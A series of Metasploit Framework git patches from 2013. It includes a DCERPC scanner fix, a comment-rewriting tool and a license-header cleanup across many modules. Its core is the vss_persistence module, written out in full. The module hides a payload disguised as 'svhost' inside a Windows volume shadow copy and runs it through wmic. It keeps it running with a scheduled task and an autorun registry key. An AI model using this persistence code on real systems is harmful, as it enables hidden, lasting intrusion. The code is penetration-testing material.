wdsc_packet) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) @@ -184,8 +189,14 @@ class Metasploit3 < Msf::Auxiliary def extract_unattend(data) start = data.index('')+10 - return data[start..finish] + finish = data.index('') + if start and finish + finish += 10 + return data[start..finish] + else + print_error("Incomplete transmission or malformed unattend file.") + return nil + end end def parse_client_unattend(data) From e8d0292118328d6e6127592329a80abc62c33749 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 14 Oct 2013 17:24:22 -0500 Subject: [PATCH 173/409] Use read_response class method Looks like this was never implemented in other modules, but it collects data from the socket in the usual get_once sort of way. --- .../scanner/dcerpc/windows_deployment_services.rb | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb index 109837a97e..9187efc44f 100644 --- a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb +++ b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb @@ -164,11 +164,13 @@ class Metasploit3 < Msf::Auxiliary wdsc_packet = packet.create vprint_status("Sending #{architecture[0]} Client Unattend request ...") - response = dcerpc.call(0, wdsc_packet) + dcerpc.call(0, wdsc_packet, false) + timeout = datastore['Timeout'] || 3 + response = Rex::Proto::DCERPC::Client.read_response(self.dcerpc.socket, timeout) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + if (response and response.stub_data) vprint_status('Received response ...') - data = dcerpc.last_response.stub_data + data = response.stub_data # Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000 op_error_code = data.unpack('v*')[19] From d0b1479d5bc5d6f2aec0b9c2550a9b7e93d1000f Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 14 Oct 2013 17:41:51 -0500 Subject: [PATCH 174/409] Use the real timeout option for DCERPC --- modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb index 9187efc44f..64554f54fa 100644 --- a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb +++ b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb @@ -165,7 +165,7 @@ class Metasploit3 < Msf::Auxiliary vprint_status("Sending #{architecture[0]} Client Unattend request ...") dcerpc.call(0, wdsc_packet, false) - timeout = datastore['Timeout'] || 3 + timeout = datastore['DCERPC::ReadTimeout'] response = Rex::Proto::DCERPC::Client.read_response(self.dcerpc.socket, timeout) if (response and response.stub_data) From d444ed054f7c6798633f22cde7ed1f4d19b0adde Mon Sep 17 00:00:00 2001 From: MrXors Date: Mon, 14 Oct 2013 19:36:44 -0700 Subject: [PATCH 175/409] Fixed RUNKEY, Fixed SCHTASKS, merged code --- .../post/windows/manage/vss_persistence.rb | 173 ++++++++++-------- 1 file changed, 96 insertions(+), 77 deletions(-) diff --git a/modules/post/windows/manage/vss_persistence.rb b/modules/post/windows/manage/vss_persistence.rb index a76f78a231..4419b120ac 100644 --- a/modules/post/windows/manage/vss_persistence.rb +++ b/modules/post/windows/manage/vss_persistence.rb @@ -28,79 +28,117 @@ class Metasploit4 < Msf::Post This module will attempt to create a persistant payload in new volume shadow copy.This is based on the VSSOwn Script originally posted by Tim Tomes and Mark Baggett. - Works on win2k3 and later. - }, + This module has been tested successfully on Windows 7. + }, 'License' => MSF_LICENSE, 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Author' => ['MrXors '], 'References' => [ [ 'URL', 'http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html' ], - [ 'URL', 'http://www.irongeek.com/i.php?page=videos/hack3rcon2/tim-tomes-and-mark-baggett-lurking-in-the-shadows']] + [ 'URL', 'http://www.irongeek.com/i.php?page=videos/hack3rcon2/tim-tomes-and-mark-baggett-lurking-in-the-shadows'] + ] )) + register_options( [ OptString.new('VOLUME', [ true, 'Volume to make a copy of.', 'C:\\']), - OptBool.new('EXECUTE', [ true, 'Run the .exe on the remote system.', true]), - OptBool.new('SCHTASK', [ false, 'Create a schtask.exe for EXE.', false]), - OptBool.new('RUNKEY', [ false, 'Create AutoRun Key on HKLM\Software\Microsoft\Windows\CurrentVersion\Run .', false]), - OptInt.new('DELAY', [ false, 'Delay in Minutes for Reconnect attempt.Needs SCHTASK set to true to work.default delay is 1 minute.', 1]), - OptString.new('RPATH', [ false, 'Path on remote system to place Executable.Example \\\\Windows\\\\Temp (DO NOT USE C:\\ in your RPATH!)', ]), + OptBool.new('EXECUTE', [ true, 'Run the EXE on the remote system.', true]), + OptBool.new('SCHTASK', [ true, 'Create a Scheduled Task for the EXE.', false]), + OptBool.new('RUNKEY', [ true, 'Create AutoRun Key for the EXE', false]), + OptInt.new('DELAY', [ true, 'Delay in Minutes for Reconnect attempt. Needs SCHTASK set to true to work. Default delay is 1 minute.', 1]), + OptString.new('RPATH', [ false, 'Path on remote system to place Executable. Example: \\\\Windows\\\\Temp (DO NOT USE C:\\ in your RPATH!)', ]), OptPath.new('PATH', [ true, 'Path to Executable on your local system.']) ], self.class) + end def run - path = "#{datastore['PATH']}" + path = datastore['PATH'] + @clean_up = "" + + print_status("Checking requirements...") + + os = sysinfo['OS'] + unless os =~ /Windows 7/ + print_error("This module has been tested only on Windows 7") + return + end + unless is_admin? print_error("This module requires admin privs to run") return end + if is_uac_enabled? print_error("This module requires UAC to be bypassed first") return end + + print_status("Starting Volume Shadow Service...") unless start_vss + print_error("Unable to start the Volume Shadow Service") return end - upload(session, path, datastore['RPATH']) - volume_shadow_copy - delete_executable(@location, @file_name) - cmd = "cmd.exe /c vssadmin List Shadows\| find \"Shadow Copy Volume\"" + + print_status("Uploading #{path}....") + remote_file = upload(path, datastore['RPATH']) + + print_status("Creating Shadow Volume Copy...") + unless volume_shadow_copy + fail_with(Failure::Unknown, "Failed to create a new shadow copy") + end + + print_status("Finding the Shadow Copy Volume...") volume_data_id = [] + cmd = "cmd.exe /c vssadmin List Shadows| find \"Shadow Copy Volume\"" output = cmd_exec(cmd) + output.each_line do |line| cmd_regex = /HarddiskVolumeShadowCopy\d{1,9}/.match("#{line}") volume_data_id = "#{cmd_regex}" end - execute_executable(volume_data_id, @location, @file_name) - schtasks(volume_data_id, @location, @file_name) - regkey(@glogal_location) - log_file + + print_status("Deleting malware...") + file_rm(remote_file) + + if datastore["EXECUTE"] + print_status("Executing #{remote_file}...") + execute(volume_data_id, remote_file) + end + + if datastore["SCHTASK"] + print_status("Creating Scheduled Task...") + schtasks(volume_data_id, remote_file) + end + + if datastore["RUNKEY"] + print_status("Installing as autorun in the registry...") + install_registry(volume_data_id, remote_file) + end + + unless @clean_up.empty? + log_file + end end - def upload(session, file, trgloc="") - @location = "" - @file_name = "" - file_on_target = "" - @clean_up = "" - if not ::File.exists?(file) - raise "File to Upload does not exists!" + def upload(file, trg_loc="") + if trg_loc.nil? or trg_loc.empty? + location = "\\Windows\\Temp" else - if trgloc == "" - @location = "\\Windows\\Temp" - else - @location = trgloc - end - @file_name = "svhost#{rand(100)}.exe" - file_on_target = "#{@location}\\#{@file_name}" - print_status("Uploading #{file}....") - begin - upload_file("#{file_on_target}","#{file}") - rescue ::Rex::Post::Meterpreter::RequestError => e - fail_with(Failure::NotFound, e.message) - end + location = trg_loc end + + file_name = "svhost#{rand(100)}.exe" + file_on_target = "#{location}\\#{file_name}" + + begin + upload_file("#{file_on_target}","#{file}") + rescue ::Rex::Post::Meterpreter::RequestError => e + fail_with(Failure::NotFound, e.message) + end + + return file_on_target end def volume_shadow_copy @@ -109,58 +147,38 @@ class Metasploit4 < Msf::Post rescue ::Rex::Post::Meterpreter::RequestError => e fail_with(Failure::NotFound, e.message) end + if id - print_good("Shadow Volume Copy Created #{id}") return true else return false end end - def delete_executable(location, file_name) - print_good("Deleting Malware #{location}\\#{file_name}!") - delete_test = file_rm("#{location}\\#{file_name}") - print_good("Clean Up Complete.") + def execute(volume_id, exe_path) + run_cmd = "cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}" + cmd_exec(run_cmd) end - def execute_executable(volume_id, exe_path, exe_name) - @glogal_location = "\\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}\\#{exe_name}" - if datastore["EXECUTE"] - print_good("Running Executable!") - run_cmd = "cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}\\#{exe_name}" - run_malware = cmd_exec(run_cmd) - else - return - end + def schtasks(volume_id, exe_path) + sch_name = Rex::Text.rand_text_alpha(rand(8)+8) + global_root = "\"\\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}\"" + sch_cmd = "cmd.exe /c %SYSTEMROOT%\\system32\\schtasks.exe /create /sc minute /mo #{datastore["DELAY"]} /tn \"#{sch_name}\" /tr #{global_root}" + cmd_exec(sch_cmd) + @clean_up << "execute -H -f cmd.exe -a \"/c schtasks.exe /delete /tn #{sch_name} /f\"\n" end - def schtasks(volume_data_id, location, file_name) - if datastore["SCHTASK"] - sch_name = Rex::Text.rand_text_alpha(rand(8)+8) - print_good("Creating Service..........") - global_root = "\\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\#{location}\\#{file_name}" - sch_cmd = "cmd.exe /c %SYSTEMROOT%\\system32\\schtasks.exe /create /sc minute /mo #{datastore["DELAY"]} /tn \"#{sch_name}\" /tr #{global_root}" - service_malware_go = cmd_exec(sch_cmd) - @clean_up << "execute -H -f cmd.exe -a \"/c schtasks.exe /delete /tn #{sch_name} /f\"\n" + def install_registry(volume_id, exe_path) + global_root = "cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}" + nam = Rex::Text.rand_text_alpha(rand(8)+8) + hklm_key = "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" + print_status("Installing into autorun as #{hklm_key}\\#{nam}") + res = registry_setvaldata("#{hklm_key}", nam, "#{global_root}", "REG_SZ") + if res + print_good("Installed into autorun as #{hklm_key}\\#{nam}") + @clean_up << "reg deleteval -k HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run -v #{nam}\n" else - return - end - end - - def regkey(path_to_exe) - if datastore["RUNKEY"] - nam = Rex::Text.rand_text_alpha(rand(8)+8) - hklm_key = "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" - print_status("Installing into autorun as #{hklm_key}\\#{nam}") - if nam - registry_setvaldata("#{hklm_key}",nam,path_to_exe,"REG_SZ") - print_good("Installed into autorun as #{hklm_key}\\#{nam}") - @clean_up << "reg deleteval -k HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run -v #{nam}\n" - else - print_error("Error: failed to open the registry key for writing") - end - else - return + print_error("Error: failed to open the registry key for writing") end end @@ -178,4 +196,5 @@ class Metasploit4 < Msf::Post file_local_write(clean_rc, @clean_up) print_status("Cleanup Meterpreter RC File: #{clean_rc}") end + end From 6a1b1f35a8e427c0f40354293d7186235868a7d2 Mon Sep 17 00:00:00 2001 From: MrXors Date: Mon, 14 Oct 2013 19:41:10 -0700 Subject: [PATCH 176/409] Msftidy done. --- modules/post/windows/manage/vss_persistence.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/post/windows/manage/vss_persistence.rb b/modules/post/windows/manage/vss_persistence.rb index 4419b120ac..34e3da400f 100644 --- a/modules/post/windows/manage/vss_persistence.rb +++ b/modules/post/windows/manage/vss_persistence.rb @@ -93,7 +93,6 @@ class Metasploit4 < Msf::Post volume_data_id = [] cmd = "cmd.exe /c vssadmin List Shadows| find \"Shadow Copy Volume\"" output = cmd_exec(cmd) - output.each_line do |line| cmd_regex = /HarddiskVolumeShadowCopy\d{1,9}/.match("#{line}") volume_data_id = "#{cmd_regex}" From 18b4f80ca94a751ae5177c7385cc272b200af0f2 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 15 Oct 2013 09:56:18 -0500 Subject: [PATCH 177/409] Add minor cleanup for vss_persistence --- modules/post/windows/manage/vss_persistence.rb | 12 ++++-------- 1 file changed, 4 insertions(+), 8 deletions(-) diff --git a/modules/post/windows/manage/vss_persistence.rb b/modules/post/windows/manage/vss_persistence.rb index 34e3da400f..e95c8638eb 100644 --- a/modules/post/windows/manage/vss_persistence.rb +++ b/modules/post/windows/manage/vss_persistence.rb @@ -7,14 +7,10 @@ require 'msf/core' require 'rex' -require 'msf/core/post/windows/shadowcopy' -require 'msf/core/post/windows/priv' -require 'msf/core/post/common' class Metasploit4 < Msf::Post include Msf::Post::File - include Msf::Post::Common include Msf::Post::Windows::Priv include Msf::Post::Windows::ShadowCopy include Msf::Post::Windows::Services @@ -25,10 +21,10 @@ class Metasploit4 < Msf::Post super(update_info(info, 'Name' => "Persistant Payload in Windows Volume Shadow Copy", 'Description' => %q{ - This module will attempt to create a persistant payload - in new volume shadow copy.This is based on the VSSOwn - Script originally posted by Tim Tomes and Mark Baggett. - This module has been tested successfully on Windows 7. + This module will attempt to create a persistant payload in new volume shadow copy. This is + based on the VSSOwn Script originally posted by Tim Tomes and Mark Baggett. This module has + been tested successfully on Windows 7. In order to achieve persistence through the RUNKEY + option, the user should need password in order to start session on the target machine. }, 'License' => MSF_LICENSE, 'Platform' => ['win'], From 3b7be50d50f53e9c8e0815616fd01ccc2409a1b6 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 15 Oct 2013 10:03:00 -0500 Subject: [PATCH 178/409] Fix typos --- modules/post/windows/manage/vss_persistence.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/manage/vss_persistence.rb b/modules/post/windows/manage/vss_persistence.rb index e95c8638eb..1945275477 100644 --- a/modules/post/windows/manage/vss_persistence.rb +++ b/modules/post/windows/manage/vss_persistence.rb @@ -19,9 +19,9 @@ class Metasploit4 < Msf::Post def initialize(info={}) super(update_info(info, - 'Name' => "Persistant Payload in Windows Volume Shadow Copy", + 'Name' => "Persistent Payload in Windows Volume Shadow Copy", 'Description' => %q{ - This module will attempt to create a persistant payload in new volume shadow copy. This is + This module will attempt to create a persistent payload in new volume shadow copy. This is based on the VSSOwn Script originally posted by Tim Tomes and Mark Baggett. This module has been tested successfully on Windows 7. In order to achieve persistence through the RUNKEY option, the user should need password in order to start session on the target machine. From 0b9cf24103cede3fbd8840717a3d6c5f671e51cb Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 15 Oct 2013 11:11:04 -0500 Subject: [PATCH 179/409] Convert vss_persistence to Local Exploit --- .../windows/local}/vss_persistence.rb | 26 ++++++++++++------- 1 file changed, 16 insertions(+), 10 deletions(-) rename modules/{post/windows/manage => exploits/windows/local}/vss_persistence.rb (93%) diff --git a/modules/post/windows/manage/vss_persistence.rb b/modules/exploits/windows/local/vss_persistence.rb similarity index 93% rename from modules/post/windows/manage/vss_persistence.rb rename to modules/exploits/windows/local/vss_persistence.rb index 1945275477..e3661578b9 100644 --- a/modules/post/windows/manage/vss_persistence.rb +++ b/modules/exploits/windows/local/vss_persistence.rb @@ -7,14 +7,17 @@ require 'msf/core' require 'rex' +require 'msf/core/exploit/exe' -class Metasploit4 < Msf::Post +class Metasploit3 < Msf::Exploit::Local + Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::ShadowCopy include Msf::Post::Windows::Services include Msf::Post::Windows::Registry + include Msf::Exploit::EXE def initialize(info={}) @@ -26,14 +29,17 @@ class Metasploit4 < Msf::Post been tested successfully on Windows 7. In order to achieve persistence through the RUNKEY option, the user should need password in order to start session on the target machine. }, + 'Author' => ['MrXors '], 'License' => MSF_LICENSE, 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], - 'Author' => ['MrXors '], + 'Targets' => [ [ 'Windows 7', {} ] ], + 'DefaultTarget' => 0, 'References' => [ [ 'URL', 'http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html' ], [ 'URL', 'http://www.irongeek.com/i.php?page=videos/hack3rcon2/tim-tomes-and-mark-baggett-lurking-in-the-shadows'] - ] + ], + 'DisclosureDate'=> "Oct 21 2011" )) register_options( @@ -44,13 +50,11 @@ class Metasploit4 < Msf::Post OptBool.new('RUNKEY', [ true, 'Create AutoRun Key for the EXE', false]), OptInt.new('DELAY', [ true, 'Delay in Minutes for Reconnect attempt. Needs SCHTASK set to true to work. Default delay is 1 minute.', 1]), OptString.new('RPATH', [ false, 'Path on remote system to place Executable. Example: \\\\Windows\\\\Temp (DO NOT USE C:\\ in your RPATH!)', ]), - OptPath.new('PATH', [ true, 'Path to Executable on your local system.']) ], self.class) end - def run - path = datastore['PATH'] + def exploit @clean_up = "" print_status("Checking requirements...") @@ -77,8 +81,8 @@ class Metasploit4 < Msf::Post return end - print_status("Uploading #{path}....") - remote_file = upload(path, datastore['RPATH']) + print_status("Uploading payload...") + remote_file = upload(datastore['RPATH']) print_status("Creating Shadow Volume Copy...") unless volume_shadow_copy @@ -117,7 +121,7 @@ class Metasploit4 < Msf::Post end end - def upload(file, trg_loc="") + def upload(trg_loc="") if trg_loc.nil? or trg_loc.empty? location = "\\Windows\\Temp" else @@ -127,8 +131,10 @@ class Metasploit4 < Msf::Post file_name = "svhost#{rand(100)}.exe" file_on_target = "#{location}\\#{file_name}" + exe = generate_payload_exe + begin - upload_file("#{file_on_target}","#{file}") + write_file("#{file_on_target}", exe) rescue ::Rex::Post::Meterpreter::RequestError => e fail_with(Failure::NotFound, e.message) end From f345414832fe0895e6ed89e70eb57f72a103aeaf Mon Sep 17 00:00:00 2001 From: MrXors Date: Tue, 15 Oct 2013 10:13:18 -0700 Subject: [PATCH 180/409] Added correct spelling in info --- modules/exploits/windows/local/vss_persistence.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/vss_persistence.rb b/modules/exploits/windows/local/vss_persistence.rb index e3661578b9..ba55d056da 100644 --- a/modules/exploits/windows/local/vss_persistence.rb +++ b/modules/exploits/windows/local/vss_persistence.rb @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Exploit::Local super(update_info(info, 'Name' => "Persistent Payload in Windows Volume Shadow Copy", 'Description' => %q{ - This module will attempt to create a persistent payload in new volume shadow copy. This is + This module will attempt to create a persistent payload in a new volume shadow copy. This is based on the VSSOwn Script originally posted by Tim Tomes and Mark Baggett. This module has been tested successfully on Windows 7. In order to achieve persistence through the RUNKEY option, the user should need password in order to start session on the target machine. From c68319d09880e19130e9e9141cfe8a2b7b53ac90 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 15 Oct 2013 12:59:19 -0500 Subject: [PATCH 181/409] Fix author --- modules/exploits/windows/local/vss_persistence.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/vss_persistence.rb b/modules/exploits/windows/local/vss_persistence.rb index ba55d056da..074ec1b868 100644 --- a/modules/exploits/windows/local/vss_persistence.rb +++ b/modules/exploits/windows/local/vss_persistence.rb @@ -29,7 +29,7 @@ class Metasploit3 < Msf::Exploit::Local been tested successfully on Windows 7. In order to achieve persistence through the RUNKEY option, the user should need password in order to start session on the target machine. }, - 'Author' => ['MrXors '], + 'Author' => ['Jedediah Rodriguez '], # @MrXors 'License' => MSF_LICENSE, 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], From 56d4ba8ab8c9ceb9b6028b5e0b72fef5dd584f98 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Tue, 15 Oct 2013 13:13:00 -0500 Subject: [PATCH 182/409] Add a re-splatting tool for updating comments. --- tools/dev/resplat.rb | 64 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 64 insertions(+) create mode 100755 tools/dev/resplat.rb diff --git a/tools/dev/resplat.rb b/tools/dev/resplat.rb new file mode 100755 index 0000000000..a74cc8c5c8 --- /dev/null +++ b/tools/dev/resplat.rb @@ -0,0 +1,64 @@ +#!/usr/bin/env ruby +# -*- coding: binary -*- + +# Replace comment splat with something shorter and +# more sensible. +# +# Usage: +# metasploit-framework$ ./tools/dev/resplat.rb [path] +# +# Some cargo-culting of tools/dev/retab.rb + +require 'fileutils' +require 'find' + +dir = ARGV[0] || "." + +raise ArgumentError, "Need a filename or directory" unless (dir and File.readable? dir) + +def is_ruby?(fname) + return true if fname =~ /\.rb$/ + file_util = "" + begin + file_util = %x{which file}.to_s.chomp + rescue Errno::ENOENT + end + if File.executable? file_util + file_fingerprint = %x{#{file_util} #{fname}} + !!(file_fingerprint =~ /Ruby script/) + end +end + +def resplat(line) + if line =~ /This file is part of the Metasploit Framework/ + return "# This module requires Metasploit: http//metasploit.com/download\n" + elsif line =~ /redistribution and commercial/ + return "# Current source: https://github.com/rapid7/metasploit-framework\n" + else + return nil + end +end + +Find.find(dir) do |infile| + next if infile =~ /\.git[\x5c\x2f]/ + next unless File.file? infile + next unless is_ruby? infile + outfile = infile + + data = File.open(infile, "rb") {|f| f.read f.stat.size} + fixed = [] + data.each_line do |line| + case line + when /^[\x20\x09]*# This file is part of the Metasploit Framework and may be subject to/, /^[\x20\x09]*# redistribution and commercial restrictions\. Please see the Metasploit/, /^[\x20\x09]*# web site for more information on licensing and terms of use\./, /^[\x20\x09]*# http:\/\/metasploit.com\// + new_line = resplat(line) + fixed << new_line if new_line + else + fixed << line + end + end + + fh = File.open(outfile, "wb") + fh.write fixed.join + fh.close + puts "Resplatted #{fh.path}" +end From e9e6fb7e26ffd909d0f1234448b8ed426ca0559e Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Tue, 15 Oct 2013 13:35:52 -0500 Subject: [PATCH 183/409] Add msftidy check. --- tools/msftidy.rb | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/tools/msftidy.rb b/tools/msftidy.rb index 49a6e0ca4c..5d09403dfe 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -129,6 +129,12 @@ class Msftidy end end + def check_comment_splat + if @source =~ /^# This file is part of the Metasploit Framework and may be subject to/ + warn("Module contains old license comment.") + end + end + def check_old_keywords max_count = 10 counter = 0 @@ -426,6 +432,7 @@ def run_checks(f_rel) tidy.check_function_basics tidy.check_lines tidy.check_snake_case_filename + tidy.check_comment_splat end ## From 23d058067a78d6dbef7a7dab8f06d313aa62e19b Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Tue, 15 Oct 2013 13:50:46 -0500 Subject: [PATCH 184/409] Redo the boilerplate / splat [SeeRM #8496] --- modules/auxiliary/admin/2wire/xslt_password_reset.rb | 6 ++---- modules/auxiliary/admin/backupexec/dump.rb | 6 ++---- modules/auxiliary/admin/backupexec/registry.rb | 6 ++---- modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb | 6 ++---- modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb | 6 ++---- modules/auxiliary/admin/db2/db2rcmd.rb | 6 ++---- .../auxiliary/admin/edirectory/edirectory_dhost_cookie.rb | 6 ++---- modules/auxiliary/admin/edirectory/edirectory_edirutil.rb | 6 ++---- modules/auxiliary/admin/emc/alphastor_devicemanager_exec.rb | 6 ++---- .../auxiliary/admin/emc/alphastor_librarymanager_exec.rb | 6 ++---- modules/auxiliary/admin/hp/hp_data_protector_cmd.rb | 5 ++--- modules/auxiliary/admin/http/axigen_file_access.rb | 6 ++---- modules/auxiliary/admin/http/contentkeeper_fileaccess.rb | 6 ++---- .../auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb | 6 ++---- .../admin/http/dlink_dir_645_password_extractor.rb | 6 ++---- .../admin/http/dlink_dsl320b_password_extractor.rb | 6 ++---- .../admin/http/foreman_openstack_satellite_priv_esc.rb | 6 ++---- modules/auxiliary/admin/http/hp_web_jetadmin_exec.rb | 6 ++---- modules/auxiliary/admin/http/iis_auth_bypass.rb | 5 ++--- modules/auxiliary/admin/http/intersil_pass_reset.rb | 6 ++---- .../auxiliary/admin/http/iomega_storcenterpro_sessionid.rb | 6 ++---- modules/auxiliary/admin/http/jboss_seam_exec.rb | 6 ++---- modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb | 6 ++---- modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb | 6 ++---- modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb | 6 ++---- modules/auxiliary/admin/http/nexpose_xxe_file_read.rb | 6 ++---- .../auxiliary/admin/http/novell_file_reporter_filedelete.rb | 6 ++---- modules/auxiliary/admin/http/rails_devise_pass_reset.rb | 6 ++---- modules/auxiliary/admin/http/scrutinizer_add_user.rb | 5 ++--- modules/auxiliary/admin/http/sophos_wpa_traversal.rb | 6 ++---- modules/auxiliary/admin/http/tomcat_administration.rb | 6 ++---- modules/auxiliary/admin/http/tomcat_utf8_traversal.rb | 6 ++---- modules/auxiliary/admin/http/trendmicro_dlp_traversal.rb | 6 ++---- modules/auxiliary/admin/http/typo3_sa_2009_001.rb | 6 ++---- modules/auxiliary/admin/http/typo3_sa_2009_002.rb | 6 ++---- modules/auxiliary/admin/http/typo3_sa_2010_020.rb | 6 ++---- .../admin/http/typo3_winstaller_default_enc_keys.rb | 6 ++---- modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb | 6 ++---- modules/auxiliary/admin/maxdb/maxdb_cons_exec.rb | 6 ++---- modules/auxiliary/admin/misc/wol.rb | 5 ++--- modules/auxiliary/admin/motorola/wr850g_cred.rb | 6 ++---- modules/auxiliary/admin/ms/ms08_059_his2006.rb | 6 ++---- modules/auxiliary/admin/mssql/mssql_enum.rb | 6 ++---- modules/auxiliary/admin/mssql/mssql_exec.rb | 6 ++---- modules/auxiliary/admin/mssql/mssql_findandsampledata.rb | 6 ++---- modules/auxiliary/admin/mssql/mssql_idf.rb | 6 ++---- modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb | 6 ++---- modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb | 6 ++---- modules/auxiliary/admin/mssql/mssql_sql.rb | 6 ++---- modules/auxiliary/admin/mssql/mssql_sql_file.rb | 6 ++---- modules/auxiliary/admin/mysql/mysql_enum.rb | 6 ++---- modules/auxiliary/admin/mysql/mysql_sql.rb | 6 ++---- modules/auxiliary/admin/natpmp/natpmp_map.rb | 6 ++---- modules/auxiliary/admin/officescan/tmlisten_traversal.rb | 6 ++---- modules/auxiliary/admin/oracle/ora_ntlm_stealer.rb | 6 ++---- modules/auxiliary/admin/oracle/oracle_login.rb | 6 ++---- modules/auxiliary/admin/oracle/oracle_sql.rb | 6 ++---- modules/auxiliary/admin/oracle/oraenum.rb | 6 ++---- modules/auxiliary/admin/oracle/osb_execqr.rb | 6 ++---- modules/auxiliary/admin/oracle/osb_execqr2.rb | 6 ++---- modules/auxiliary/admin/oracle/osb_execqr3.rb | 6 ++---- .../auxiliary/admin/oracle/post_exploitation/win32exec.rb | 6 ++---- .../auxiliary/admin/oracle/post_exploitation/win32upload.rb | 6 ++---- modules/auxiliary/admin/oracle/sid_brute.rb | 6 ++---- modules/auxiliary/admin/oracle/tnscmd.rb | 6 ++---- modules/auxiliary/admin/pop2/uw_fileretrieval.rb | 6 ++---- modules/auxiliary/admin/postgres/postgres_readfile.rb | 6 ++---- modules/auxiliary/admin/postgres/postgres_sql.rb | 6 ++---- .../auxiliary/admin/sap/sap_configservlet_exec_noauth.rb | 6 ++---- modules/auxiliary/admin/sap/sap_mgmt_con_osexec.rb | 6 ++---- .../admin/scada/ge_proficy_substitute_traversal.rb | 6 ++---- modules/auxiliary/admin/scada/igss_exec_17.rb | 6 ++---- modules/auxiliary/admin/scada/modicon_command.rb | 6 ++---- modules/auxiliary/admin/scada/modicon_password_recovery.rb | 6 ++---- modules/auxiliary/admin/scada/modicon_stux_transfer.rb | 6 ++---- modules/auxiliary/admin/scada/multi_cip_command.rb | 6 ++---- modules/auxiliary/admin/serverprotect/file.rb | 6 ++---- modules/auxiliary/admin/smb/check_dir_file.rb | 6 ++---- modules/auxiliary/admin/smb/list_directory.rb | 6 ++---- modules/auxiliary/admin/smb/psexec_command.rb | 6 ++---- modules/auxiliary/admin/smb/psexec_ntdsgrab.rb | 6 ++---- modules/auxiliary/admin/smb/samba_symlink_traversal.rb | 6 ++---- modules/auxiliary/admin/smb/upload_file.rb | 6 ++---- modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb | 6 ++---- modules/auxiliary/admin/tftp/tftp_transfer_util.rb | 6 ++---- modules/auxiliary/admin/tikiwiki/tikidblib.rb | 6 ++---- modules/auxiliary/admin/vmware/poweroff_vm.rb | 6 ++---- modules/auxiliary/admin/vmware/poweron_vm.rb | 6 ++---- modules/auxiliary/admin/vmware/tag_vm.rb | 6 ++---- modules/auxiliary/admin/vmware/terminate_esx_sessions.rb | 6 ++---- modules/auxiliary/admin/vnc/realvnc_41_bypass.rb | 6 ++---- .../admin/vxworks/apple_airport_extreme_password.rb | 6 ++---- modules/auxiliary/admin/vxworks/dlink_i2eye_autoanswer.rb | 6 ++---- modules/auxiliary/admin/vxworks/wdbrpc_memory_dump.rb | 6 ++---- modules/auxiliary/admin/vxworks/wdbrpc_reboot.rb | 6 ++---- modules/auxiliary/admin/webmin/edit_html_fileaccess.rb | 6 ++---- modules/auxiliary/admin/webmin/file_disclosure.rb | 6 ++---- modules/auxiliary/admin/zend/java_bridge.rb | 6 ++---- modules/auxiliary/analyze/jtr_aix.rb | 6 ++---- 